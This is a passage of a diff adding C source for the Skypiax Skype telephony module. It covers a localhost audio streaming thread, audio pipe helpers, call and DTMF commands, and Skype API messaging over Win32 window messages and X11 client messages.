+	memset(&my_addr, 0, sizeof(my_addr));
+	my_addr.sin_family = AF_INET;
+	my_addr.sin_addr.s_addr = htonl(0x7f000001);	/* use the localhost */
+	my_addr.sin_port = htons(tech_pvt->tcp_cli_port);
+
+	if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
+		ERRORA("socket Error\n", SKYPIAX_P_LOG);
+		return NULL;
+	}
+
+	if (bind(s, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) < 0) {
+		ERRORA("bind Error\n", SKYPIAX_P_LOG);
+		skypiax_close_socket(s);
+		return NULL;
+	}
+	DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+
+	listen(s, 6);
+
+	sin_size = sizeof(remote_addr);
+
+  /****************************/
+	while (tech_pvt->interface_state != SKYPIAX_STATE_DOWN
+		   && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
+			   || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
+			   || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPIAX_STATE_UP)) {
+
+		unsigned int fdselectgio;
+		int rtgio;
+		fd_set fsgio;
+		struct timeval togio;
+
+		if (!(running && tech_pvt->running))
+			break;
+		FD_ZERO(&fsgio);
+		togio.tv_usec = 20000;	//20msec
+		togio.tv_sec = 0;
+		fdselectgio = s;
+		FD_SET(fdselectgio, &fsgio);
+
+		rtgio = select(fdselectgio + 1, &fsgio, NULL, NULL, &togio);
+
+		if (rtgio) {
+
+  /****************************/
+
+			while ((fd = accept(s, (struct sockaddr *) &remote_addr, &sin_size)) > 0) {
+				DEBUGA_SKYPE("ACCEPTED here you send me %d\n", SKYPIAX_P_LOG, tech_pvt->tcp_cli_port);
+#ifndef WIN32
+				fcntl(tech_pvt->audioskypepipe[0], F_SETFL, O_NONBLOCK);
+				fcntl(tech_pvt->audioskypepipe[1], F_SETFL, O_NONBLOCK);
+#endif //WIN32
+
+				if (!(running && tech_pvt->running))
+					break;
+				while (tech_pvt->interface_state != SKYPIAX_STATE_DOWN
+					   && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
+						   || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
+						   || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPIAX_STATE_UP)) {
+					unsigned int fdselect;
+					int rt;
+					fd_set fs;
+					struct timeval to;
+
+					if (!(running && tech_pvt->running))
+						break;
+					FD_ZERO(&fs);
+					to.tv_usec = 120000;	//120msec
+					to.tv_sec = 0;
+#if defined(WIN32) && !defined(__CYGWIN__)
+/* on win32 we cannot select from the apr "pipe", so we select on socket writability */
+					fdselect = fd;
+					FD_SET(fdselect, &fs);
+
+					rt = select(fdselect + 1, NULL, &fs, NULL, &to);
+#else
+/* on *unix and cygwin we select from the real pipe */
+					fdselect = tech_pvt->audioskypepipe[0];
+					FD_SET(fdselect, &fs);
+
+					rt = select(fdselect + 1, &fs, NULL, NULL, &to);
+#endif
+
+					if (rt > 0) {
+						int counter;
+
+						/* until we drained the pipe to empty */
+						for (counter = 0; counter < 10; counter++) {
+							/* read from the pipe the audio frame we are supposed to send out */
+							got = skypiax_pipe_read(tech_pvt->audioskypepipe[0], cli_in, SAMPLES_PER_FRAME * sizeof(short));
+							if (got == -1)
+								break;
+
+							if (got != SAMPLES_PER_FRAME * sizeof(short)) {
+								WARNINGA("got is %d, but was expected to be %d\n", SKYPIAX_P_LOG, got, (int) (SAMPLES_PER_FRAME * sizeof(short)));
+							}
+
+							if (got == SAMPLES_PER_FRAME * sizeof(short)) {
+								if (samplerate_skypiax == 8000) {
+
+									/* we're upsampling from 8khz to 16khz, cli_out will contain two times each sample from cli_in */
+									a = 0;
+									for (i = 0; i < got / sizeof(short); i++) {
+										cli_out[a] = cli_in[i];
+										a++;
+										cli_out[a] = cli_in[i];
+										a++;
+									}
+									got = got * 2;
+								} else if (samplerate_skypiax == 16000) {
+									/* we're NOT upsampling, cli_out will contain just ALL samples from cli_in */
+									for (i = 0; i < got / sizeof(short); i++) {
+										cli_out[i] = cli_in[i];
+									}
+								} else {
+									ERRORA("SAMPLERATE_SKYPIAX can only be 8000 or 16000\n", SKYPIAX_P_LOG);
+								}
+
+								/* send the 16khz frame to the Skype client waiting for incoming audio to be sent to the remote party */
+								if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
+									len = send(fd, (char *) cli_out, got, 0);
+									skypiax_sleep(5000);	//5 msec
+
+									if (len == -1) {
+										break;
+									} else if (len != got) {
+										ERRORA("len=%d\n", SKYPIAX_P_LOG, len);
+										skypiax_sleep(1000);
+										break;
+									}
+								}
+
+							} else {
+
+								WARNINGA("got is %d, but was expected to be %d\n", SKYPIAX_P_LOG, got, (int) (SAMPLES_PER_FRAME * sizeof(short)));
+							}
+						}
+					} else {
+						if (rt)
+							ERRORA("CLI rt=%d\n", SKYPIAX_P_LOG, rt);
+						memset(cli_out, 0, sizeof(cli_out));
+						if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
+							len = send(fd, (char *) cli_out, sizeof(cli_out), 0);
+							len = send(fd, (char *) cli_out, sizeof(cli_out) / 2, 0);
+							//WARNINGA("sent %d of zeros to keep the Skype client socket busy\n", SKYPIAX_P_LOG, sizeof(cli_out) + sizeof(cli_out)/2);
+						} else {
+							/*
+							   XXX do nothing 
+							 */
+							//WARNINGA("we don't send it\n", SKYPIAX_P_LOG);
+						}
+						skypiax_sleep(1000);
+					}
+
+				}
+				DEBUGA_SKYPE("Skype outbound audio GONE\n", SKYPIAX_P_LOG);
+				skypiax_close_socket(fd);
+				break;
+			}
+		}
+	}
+
+	DEBUGA_SKYPE("outbound audio server (I am it) EXITING\n", SKYPIAX_P_LOG);
+	skypiax_close_socket(s);
+	return NULL;
+}
+
+int skypiax_audio_read(private_t * tech_pvt)
+{
+	unsigned int samples;
+
+	samples = skypiax_pipe_read(tech_pvt->audiopipe[0], tech_pvt->read_frame.data, SAMPLES_PER_FRAME * sizeof(short));
+
+	if (samples != SAMPLES_PER_FRAME * sizeof(short)) {
+		if (samples)
+			WARNINGA("read samples=%u expected=%u\n", SKYPIAX_P_LOG, samples, (int) (SAMPLES_PER_FRAME * sizeof(short)));
+		return 0;
+	} else {
+		/* A real frame */
+		tech_pvt->read_frame.datalen = samples;
+	}
+	return 1;
+}
+
+int skypiax_senddigit(private_t * tech_pvt, char digit)
+{
+	char msg_to_skype[1024];
+
+	DEBUGA_SKYPE("DIGIT received: %c\n", SKYPIAX_P_LOG, digit);
+	sprintf(msg_to_skype, "SET CALL %s DTMF %c", tech_pvt->skype_call_id, digit);
+	skypiax_signaling_write(tech_pvt, msg_to_skype);
+
+	return 0;
+}
+
+int skypiax_call(private_t * tech_pvt, char *rdest, int timeout)
+{
+	char msg_to_skype[1024];
+
+	//skypiax_sleep(5000);
+	DEBUGA_SKYPE("Calling Skype, rdest is: %s\n", SKYPIAX_P_LOG, rdest);
+	//skypiax_signaling_write(tech_pvt, "SET AGC OFF");
+	//skypiax_sleep(10000);
+	//skypiax_signaling_write(tech_pvt, "SET AEC OFF");
+	//skypiax_sleep(10000);
+
+	sprintf(msg_to_skype, "CALL %s", rdest);
+	if (skypiax_signaling_write(tech_pvt, msg_to_skype) < 0) {
+		ERRORA("failed to communicate with Skype client, now exit\n", SKYPIAX_P_LOG);
+		return -1;
+	}
+	return 0;
+}
+
+/***************************/
+/* PLATFORM SPECIFIC */
+/***************************/
+#if defined(WIN32) && !defined(__CYGWIN__)
+int skypiax_pipe_read(switch_file_t * pipe, short *buf, int howmany)
+{
+	switch_size_t quantity;
+
+	quantity = howmany;
+
+	switch_file_read(pipe, buf, &quantity);
+
+	howmany = quantity;
+
+	return howmany;
+}
+
+int skypiax_pipe_write(switch_file_t * pipe, short *buf, int howmany)
+{
+	switch_size_t quantity;
+
+	quantity = howmany;
+
+	switch_file_write(pipe, buf, &quantity);
+
+	howmany = quantity;
+
+	return howmany;
+}
+
+int skypiax_close_socket(unsigned int fd)
+{
+	int res;
+
+	res = closesocket(fd);
+
+	return res;
+}
+
+int skypiax_audio_init(private_t * tech_pvt)
+{
+	switch_status_t rv;
+	rv = switch_file_pipe_create(&tech_pvt->audiopipe[0], &tech_pvt->audiopipe[1], skypiax_module_pool);
+	rv = switch_file_pipe_create(&tech_pvt->audioskypepipe[0], &tech_pvt->audioskypepipe[1], skypiax_module_pool);
+	return 0;
+}
+#else /* WIN32 */
+int skypiax_pipe_read(int pipe, short *buf, int howmany)
+{
+	howmany = read(pipe, buf, howmany);
+	return howmany;
+}
+
+int skypiax_pipe_write(int pipe, short *buf, int howmany)
+{
+	howmany = write(pipe, buf, howmany);
+	return howmany;
+}
+
+int skypiax_close_socket(unsigned int fd)
+{
+	int res;
+
+	res = close(fd);
+
+	return res;
+}
+
+int skypiax_audio_init(private_t * tech_pvt)
+{
+	if (pipe(tech_pvt->audiopipe)) {
+		fcntl(tech_pvt->audiopipe[0], F_SETFL, O_NONBLOCK);
+		fcntl(tech_pvt->audiopipe[1], F_SETFL, O_NONBLOCK);
+	}
+	if (pipe(tech_pvt->audioskypepipe)) {
+		fcntl(tech_pvt->audioskypepipe[0], F_SETFL, O_NONBLOCK);
+		fcntl(tech_pvt->audioskypepipe[1], F_SETFL, O_NONBLOCK);
+	}
+
+/* this pipe is the audio fd for asterisk to poll on during a call. FS do not use it */
+	tech_pvt->skypiax_sound_capt_fd = tech_pvt->audiopipe[0];
+
+	return 0;
+}
+#endif /* WIN32 */
+
+#ifdef WIN32
+
+enum {
+	SKYPECONTROLAPI_ATTACH_SUCCESS = 0,	/*  Client is successfully 
+										   attached and API window handle can be found
+										   in wParam parameter */
+	SKYPECONTROLAPI_ATTACH_PENDING_AUTHORIZATION = 1,	/*  Skype has acknowledged
+														   connection request and is waiting
+														   for confirmation from the user. */
+	/*  The client is not yet attached 
+	 * and should wait for SKYPECONTROLAPI_ATTACH_SUCCESS message */
+	SKYPECONTROLAPI_ATTACH_REFUSED = 2,	/*  User has explicitly
+										   denied access to client */
+	SKYPECONTROLAPI_ATTACH_NOT_AVAILABLE = 3,	/*  API is not available
+												   at the moment.
+												   For example, this happens when no user
+												   is currently logged in. */
+	/*  Client should wait for 
+	 * SKYPECONTROLAPI_ATTACH_API_AVAILABLE 
+	 * broadcast before making any further */
+	/*  connection attempts. */
+	SKYPECONTROLAPI_ATTACH_API_AVAILABLE = 0x8001
+};
+
+/* Visual C do not have strsep? */
+char
+    *strsep(char **stringp, const char *delim)
+{
+	char *res;
+
+	if (!stringp || !*stringp || !**stringp)
+		return (char *) 0;
+
+	res = *stringp;
+	while (**stringp && !strchr(delim, **stringp))
+		++(*stringp);
+
+	if (**stringp) {
+		**stringp = '\0';
+		++(*stringp);
+	}
+
+	return res;
+}
+
+int skypiax_signaling_write(private_t * tech_pvt, char *msg_to_skype)
+{
+	static char acInputRow[1024];
+	COPYDATASTRUCT oCopyData;
+
+	DEBUGA_SKYPE("SENDING: |||%s||||\n", SKYPIAX_P_LOG, msg_to_skype);
+
+	sprintf(acInputRow, "%s", msg_to_skype);
+	DEBUGA_SKYPE("acInputRow: |||%s||||\n", SKYPIAX_P_LOG, acInputRow);
+	/*  send command to skype */
+	oCopyData.dwData = 0;
+	oCopyData.lpData = acInputRow;
+	oCopyData.cbData = strlen(acInputRow) + 1;
+	if (oCopyData.cbData != 1) {
+		if (SendMessage
+			(tech_pvt->SkypiaxHandles.win32_hGlobal_SkypeAPIWindowHandle, WM_COPYDATA,
+			 (WPARAM) tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle, (LPARAM) & oCopyData) == FALSE) {
+			ERRORA("Sending message failed - probably Skype crashed.\n\nPlease shutdown Skypiax, then launch Skypiax and try again.\n", SKYPIAX_P_LOG);
+			return -1;
+		}
+	}
+
+	return 0;
+
+}
+
+LRESULT APIENTRY skypiax_present(HWND hWindow, UINT uiMessage, WPARAM uiParam, LPARAM ulParam)
+{
+	LRESULT lReturnCode;
+	int fIssueDefProc;
+	private_t *tech_pvt = NULL;
+
+	lReturnCode = 0;
+	fIssueDefProc = 0;
+	tech_pvt = (private_t *) GetWindowLong(hWindow, GWL_USERDATA);
+	if (!running)
+		return lReturnCode;
+	switch (uiMessage) {
+	case WM_CREATE:
+		tech_pvt = (private_t *) ((LPCREATESTRUCT) ulParam)->lpCreateParams;
+		SetWindowLong(hWindow, GWL_USERDATA, (LONG) tech_pvt);
+		DEBUGA_SKYPE("got CREATE\n", SKYPIAX_P_LOG);
+		break;
+	case WM_DESTROY:
+		DEBUGA_SKYPE("got DESTROY\n", SKYPIAX_P_LOG);
+		tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle = NULL;
+		PostQuitMessage(0);
+		break;
+	case WM_COPYDATA:
+		if (tech_pvt->SkypiaxHandles.win32_hGlobal_SkypeAPIWindowHandle == (HWND) uiParam) {
+			unsigned int howmany;
+			char msg_from_skype[2048];
+
+			PCOPYDATASTRUCT poCopyData = (PCOPYDATASTRUCT) ulParam;
+
+			memset(msg_from_skype, '\0', sizeof(msg_from_skype));
+			skypiax_strncpy(msg_from_skype, (const char *) poCopyData->lpData, sizeof(msg_from_skype) - 2);
+
+			howmany = strlen(msg_from_skype) + 1;
+			howmany = skypiax_pipe_write(tech_pvt->SkypiaxHandles.fdesc[1], (short *) msg_from_skype, howmany);
+			//DEBUGA_SKYPE("From Skype API: %s\n", SKYPIAX_P_LOG, msg_from_skype);
+			lReturnCode = 1;
+		}
+		break;
+	default:
+		if (tech_pvt && tech_pvt->SkypiaxHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach) {
+			if (uiMessage == tech_pvt->SkypiaxHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach) {
+				switch (ulParam) {
+				case SKYPECONTROLAPI_ATTACH_SUCCESS:
+					if (!tech_pvt->SkypiaxHandles.currentuserhandle) {
+						//DEBUGA_SKYPE("\n\n\tConnected to Skype API!\n", SKYPIAX_P_LOG);
+						tech_pvt->SkypiaxHandles.api_connected = 1;
+						tech_pvt->SkypiaxHandles.win32_hGlobal_SkypeAPIWindowHandle = (HWND) uiParam;
+						tech_pvt->SkypiaxHandles.win32_hGlobal_SkypeAPIWindowHandle = tech_pvt->SkypiaxHandles.win32_hGlobal_SkypeAPIWindowHandle;
+					}
+					break;
+				case SKYPECONTROLAPI_ATTACH_PENDING_AUTHORIZATION:
+					//DEBUGA_SKYPE ("\n\n\tIf I do not (almost) immediately connect to Skype API,\n\tplease give the Skype client authorization to be connected \n\tby Asterisk and to not ask you again.\n\n", SKYPIAX_P_LOG);
+					skypiax_sleep(5000);
+#if 0
+					if (!tech_pvt->SkypiaxHandles.currentuserhandle) {
+						SendMessage(HWND_BROADCAST,
+									tech_pvt->SkypiaxHandles.
+									win32_uiGlobal_MsgID_SkypeControlAPIDiscover, (WPARAM) tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle, 0);
+					}
+#endif
+					break;
+				case SKYPECONTROLAPI_ATTACH_REFUSED:
+					ERRORA("Skype client refused to be connected by Skypiax!\n", SKYPIAX_P_LOG);
+					break;
+				case SKYPECONTROLAPI_ATTACH_NOT_AVAILABLE:
+					ERRORA("Skype API not (yet?) available\n", SKYPIAX_P_LOG);
+					break;
+				case SKYPECONTROLAPI_ATTACH_API_AVAILABLE:
+					DEBUGA_SKYPE("Skype API available\n", SKYPIAX_P_LOG);
+					skypiax_sleep(5000);
+#if 0
+					if (!tech_pvt->SkypiaxHandles.currentuserhandle) {
+						SendMessage(HWND_BROADCAST,
+									tech_pvt->SkypiaxHandles.
+									win32_uiGlobal_MsgID_SkypeControlAPIDiscover, (WPARAM) tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle, 0);
+					}
+#endif
+					break;
+				default:
+					WARNINGA("GOT AN UNKNOWN SKYPE WINDOWS MSG\n", SKYPIAX_P_LOG);
+				}
+				lReturnCode = 1;
+				break;
+			}
+		}
+		fIssueDefProc = 1;
+		break;
+	}
+	if (fIssueDefProc)
+		lReturnCode = DefWindowProc(hWindow, uiMessage, uiParam, ulParam);
+	return (lReturnCode);
+}
+
+int win32_Initialize_CreateWindowClass(private_t * tech_pvt)
+{
+	unsigned char *paucUUIDString;
+	RPC_STATUS lUUIDResult;
+	int fReturnStatus;
+	UUID oUUID;
+
+	fReturnStatus = 0;
+	lUUIDResult = UuidCreate(&oUUID);
+	tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle = (HINSTANCE) OpenProcess(PROCESS_DUP_HANDLE, FALSE, GetCurrentProcessId());
+	if (tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle != NULL && (lUUIDResult == RPC_S_OK || lUUIDResult == RPC_S_UUID_LOCAL_ONLY)) {
+		if (UuidToString(&oUUID, &paucUUIDString) == RPC_S_OK) {
+			WNDCLASS oWindowClass;
+
+			strcpy(tech_pvt->SkypiaxHandles.win32_acInit_WindowClassName, "Skype-API-Skypiax-");
+			strcat(tech_pvt->SkypiaxHandles.win32_acInit_WindowClassName, (char *) paucUUIDString);
+
+			oWindowClass.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;
+			oWindowClass.lpfnWndProc = (WNDPROC) & skypiax_present;
+			oWindowClass.cbClsExtra = 0;
+			oWindowClass.cbWndExtra = 0;
+			oWindowClass.hInstance = tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle;
+			oWindowClass.hIcon = NULL;
+			oWindowClass.hCursor = NULL;
+			oWindowClass.hbrBackground = NULL;
+			oWindowClass.lpszMenuName = NULL;
+			oWindowClass.lpszClassName = tech_pvt->SkypiaxHandles.win32_acInit_WindowClassName;
+
+			if (RegisterClass(&oWindowClass) != 0)
+				fReturnStatus = 1;
+
+			RpcStringFree(&paucUUIDString);
+		}
+	}
+	if (fReturnStatus == 0)
+		CloseHandle(tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle);
+	tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle = NULL;
+	return (fReturnStatus);
+}
+
+void win32_DeInitialize_DestroyWindowClass(private_t * tech_pvt)
+{
+	UnregisterClass(tech_pvt->SkypiaxHandles.win32_acInit_WindowClassName, tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle);
+	CloseHandle(tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle);
+	tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle = NULL;
+}
+
+int win32_Initialize_CreateMainWindow(private_t * tech_pvt)
+{
+	tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle =
+		CreateWindowEx(WS_EX_APPWINDOW | WS_EX_WINDOWEDGE,
+					   tech_pvt->SkypiaxHandles.win32_acInit_WindowClassName, "",
+					   WS_BORDER | WS_SYSMENU | WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT,
+					   128, 128, NULL, 0, tech_pvt->SkypiaxHandles.win32_hInit_ProcessHandle, tech_pvt);
+	return (tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle != NULL ? 1 : 0);
+}
+
+void win32_DeInitialize_DestroyMainWindow(private_t * tech_pvt)
+{
+	if (tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle != NULL)
+		DestroyWindow(tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle), tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle = NULL;
+}
+
+void *skypiax_do_skypeapi_thread_func(void *obj)
+{
+	private_t *tech_pvt = obj;
+#if defined(WIN32) && !defined(__CYGWIN__)
+	switch_status_t rv;
+
+	switch_file_pipe_create(&tech_pvt->SkypiaxHandles.fdesc[0], &tech_pvt->SkypiaxHandles.fdesc[1], skypiax_module_pool);
+	rv = switch_file_pipe_create(&tech_pvt->SkypiaxHandles.fdesc[0], &tech_pvt->SkypiaxHandles.fdesc[1], skypiax_module_pool);
+#else /* WIN32 */
+	if (pipe(tech_pvt->SkypiaxHandles.fdesc)) {
+		fcntl(tech_pvt->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
+		fcntl(tech_pvt->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
+	}
+#endif /* WIN32 */
+
+	tech_pvt->SkypiaxHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach = RegisterWindowMessage("SkypeControlAPIAttach");
+	tech_pvt->SkypiaxHandles.win32_uiGlobal_MsgID_SkypeControlAPIDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");
+
+	skypiax_sleep(200000);		//0,2 sec
+
+	if (tech_pvt->SkypiaxHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach != 0
+		&& tech_pvt->SkypiaxHandles.win32_uiGlobal_MsgID_SkypeControlAPIDiscover != 0) {
+		if (win32_Initialize_CreateWindowClass(tech_pvt)) {
+			if (win32_Initialize_CreateMainWindow(tech_pvt)) {
+				if (SendMessage
+					(HWND_BROADCAST,
+					 tech_pvt->SkypiaxHandles.win32_uiGlobal_MsgID_SkypeControlAPIDiscover,
+					 (WPARAM) tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle, 0) != 0) {
+					tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle = tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle;
+					while (running && tech_pvt->running) {
+						MSG oMessage;
+						if (!(running && tech_pvt->running))
+							break;
+						while (GetMessage(&oMessage, 0, 0, 0)) {
+							TranslateMessage(&oMessage);
+							DispatchMessage(&oMessage);
+						}
+					}
+				}
+				win32_DeInitialize_DestroyMainWindow(tech_pvt);
+			}
+			win32_DeInitialize_DestroyWindowClass(tech_pvt);
+		}
+	}
+
+	return NULL;
+}
+
+#else /* NOT WIN32 */
+int X11_errors_handler(Display * dpy, XErrorEvent * err)
+{
+	(void) dpy;
+	private_t *tech_pvt = NULL;
+
+	xerror = err->error_code;
+	ERRORA("Received error code %d from X Server\n\n", SKYPIAX_P_LOG, xerror);	///FIXME why crash the entire skypiax? just crash the interface, instead
+	running = 0;
+	return 0;					/*  ignore the error */
+}
+
+static void X11_errors_trap(void)
+{
+	xerror = 0;
+	old_handler = XSetErrorHandler(X11_errors_handler);
+}
+
+static int X11_errors_untrap(void)
+{
+	XSetErrorHandler(old_handler);
+	return (xerror != BadValue) && (xerror != BadWindow);
+}
+
+int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
+{
+
+	Window w_P;
+	Display *disp;
+	Window handle_P;
+	int ok;
+	private_t *tech_pvt = NULL;
+
+	w_P = SkypiaxHandles->skype_win;
+	disp = SkypiaxHandles->disp;
+	handle_P = SkypiaxHandles->win;
+
+	Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+	Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+	unsigned int pos = 0;
+	unsigned int len = strlen(message_P);
+	XEvent e;
+
+	memset(&e, 0, sizeof(e));
+	e.xclient.type = ClientMessage;
+	e.xclient.message_type = atom1;	/*  leading message */
+	e.xclient.display = disp;
+	e.xclient.window = handle_P;
+	e.xclient.format = 8;
+
+	X11_errors_trap();
+	//XLockDisplay(disp);
+	do {
+		unsigned int i;
+		for (i = 0; i < 20 && i + pos <= len; ++i)
+			e.xclient.data.b[i] = message_P[i + pos];
+		XSendEvent(disp, w_P, False, 0, &e);
+
+		e.xclient.message_type = atom2;	/*  following messages */
+		pos += i;
+	} while (pos <= len);
+
+	XSync(disp, False);
+	ok = X11_errors_untrap();
+
+	if (!ok)
+		ERRORA("Sending message failed with status %d\n", SKYPIAX_P_LOG, xerror);
+	//XUnlockDisplay(disp);
+
+	return 1;
+}
+
+int skypiax_signaling_write(private_t * tech_pvt, char *msg_to_skype)
+{
+	struct SkypiaxHandles *SkypiaxHandles;
+
+	DEBUGA_SKYPE("SENDING: |||%s||||\n", SKYPIAX_P_LOG, msg_to_skype);
+
+	SkypiaxHandles = &tech_pvt->SkypiaxHandles;
+
+	if (!skypiax_send_message(SkypiaxHandles, msg_to_skype)) {
+		ERRORA
+			("Sending message failed - probably Skype crashed.\n\nPlease shutdown Skypiax, then restart Skype, then launch Skypiax and try again.\n",
+			 SKYPIAX_P_LOG);
+		return -1;
+	}
+
+	return 0;
+
+}
+
+int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
+{
+	Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
+
+	Atom type_ret;
+	int format_ret;
+	unsigned long nitems_ret;
+	unsigned long bytes_after_ret;
+	unsigned char *prop;
+	int status;
+	private_t *tech_pvt = NULL;
+
+	X11_errors_trap();
+	//XLockDisplay(disp);
+	status =
+		XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
+						   skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
+	//XUnlockDisplay(disp);
+	X11_errors_untrap();
+
+	/*  sanity check */
+	if (status != Success || format_ret != 32 || nitems_ret != 1) {
+		SkypiaxHandles->skype_win = (Window) - 1;
+		DEBUGA_SKYPE("Skype instance not found\n", SKYPIAX_P_LOG);
+		running = 0;
+		SkypiaxHandles->api_connected = 0;
+		return 0;
+	}
+
+	SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
+	DEBUGA_SKYPE("Skype instance found with id #%d\n", SKYPIAX_P_LOG, (unsigned int) SkypiaxHandles->skype_win);
+	SkypiaxHandles->api_connected = 1;
+	return 1;
+}
+
+void skypiax_clean_disp(void *data)
+{
+
+	int *dispptr;
+	int disp;
+	private_t *tech_pvt = NULL;
+
+	dispptr = data;
+	disp = *dispptr;
+
+	if (disp) {
+		DEBUGA_SKYPE("to be destroyed disp %d\n", SKYPIAX_P_LOG, disp);
+		close(disp);
+		DEBUGA_SKYPE("destroyed disp\n", SKYPIAX_P_LOG);
+	} else {
+		DEBUGA_SKYPE("NOT destroyed disp\n", SKYPIAX_P_LOG);
+	}
+	DEBUGA_SKYPE("OUT destroyed disp\n", SKYPIAX_P_LOG);
+	skypiax_sleep(1000);
+}
+
+void *skypiax_do_skypeapi_thread_func(void *obj)
+{
+
+	private_t *tech_pvt = obj;
+	struct SkypiaxHandles *SkypiaxHandles;
+	char buf[512];
+	Display *disp = NULL;
+	Window root = -1;
+	Window win = -1;
+
+	if (!strlen(tech_pvt->X11_display))
+		strcpy(tech_pvt->X11_display, getenv("DISPLAY"));
+
+	if (!tech_pvt->tcp_srv_port)
+		tech_pvt->tcp_srv_port = 10160;
+
+	if (!tech_pvt->tcp_cli_port)
+		tech_pvt->tcp_cli_port = 10161;
+
+	if (pipe(tech_pvt->SkypiaxHandles.fdesc)) {
+		fcntl(tech_pvt->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
+		fcntl(tech_pvt->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
+	}
+	SkypiaxHandles = &tech_pvt->SkypiaxHandles;
+	disp = XOpenDisplay(tech_pvt->X11_display);
+	if (!disp) {
+		ERRORA("Cannot open X Display '%s', exiting skype thread\n", SKYPIAX_P_LOG, tech_pvt->X11_display);
+		running = 0;
+		return NULL;
+	} else {
+		DEBUGA_SKYPE("X Display '%s' opened\n", SKYPIAX_P_LOG, tech_pvt->X11_display);
+	}
+
+	int xfd;
+	xfd = XConnectionNumber(disp);
+	fcntl(xfd, F_SETFD, FD_CLOEXEC);
+
+	SkypiaxHandles->disp = disp;
+
+	if (skypiax_present(SkypiaxHandles)) {
+		root = DefaultRootWindow(disp);
+		win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
+
+		SkypiaxHandles->win = win;
+
+		snprintf(buf, 512, "NAME skypiax");
+
+		if (!skypiax_send_message(SkypiaxHandles, buf)) {
+			ERRORA("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch Skypiax again\n", SKYPIAX_P_LOG);
+			running = 0;
+			return NULL;
+		}
+
+		snprintf(buf, 512, "PROTOCOL 7");
+		if (!skypiax_send_message(SkypiaxHandles, buf)) {
+			ERRORA("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch Skypiax again\n", SKYPIAX_P_LOG);
+			running = 0;
+			return NULL;
+		}
+
+		/* perform an events loop */
+		XEvent an_event;
+		char buf[21];			/*  can't be longer */
+		char buffer[17000];
+		char *b;
+		int i;
+		int continue_is_broken = 0;
+		Atom atom_begin = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+		Atom atom_continue = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+
+		b = buffer;
+
+		while (1) {
+			XNextEvent(disp, &an_event);
+			if (!(running && tech_pvt->running))
+				break;
+			switch (an_event.type) {
+			case ClientMessage:
+
+				if (an_event.xclient.format != 8)
+					break;
+
+				for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
+					buf[i] = an_event.xclient.data.b[i];
+
+				buf[i] = '\0';
+
+				//DEBUGA_SKYPE ("BUF=|||%s|||\n", SKYPIAX_P_LOG, buf);
+
+				if (an_event.xclient.message_type == atom_begin) {
+
+					if (strlen(buffer)) {
+						unsigned int howmany;
+						howmany = strlen(b) + 1;
+						howmany = write(SkypiaxHandles->fdesc[1], b, howmany);
+						DEBUGA_SKYPE("RECEIVED2=|||%s|||\n", SKYPIAX_P_LOG, buffer);
+						memset(buffer, '\0', 17000);
+					}
+				}
+				if (an_event.xclient.message_type == atom_continue) {
+
+					if (!strlen(buffer)) {
+						DEBUGA_SKYPE
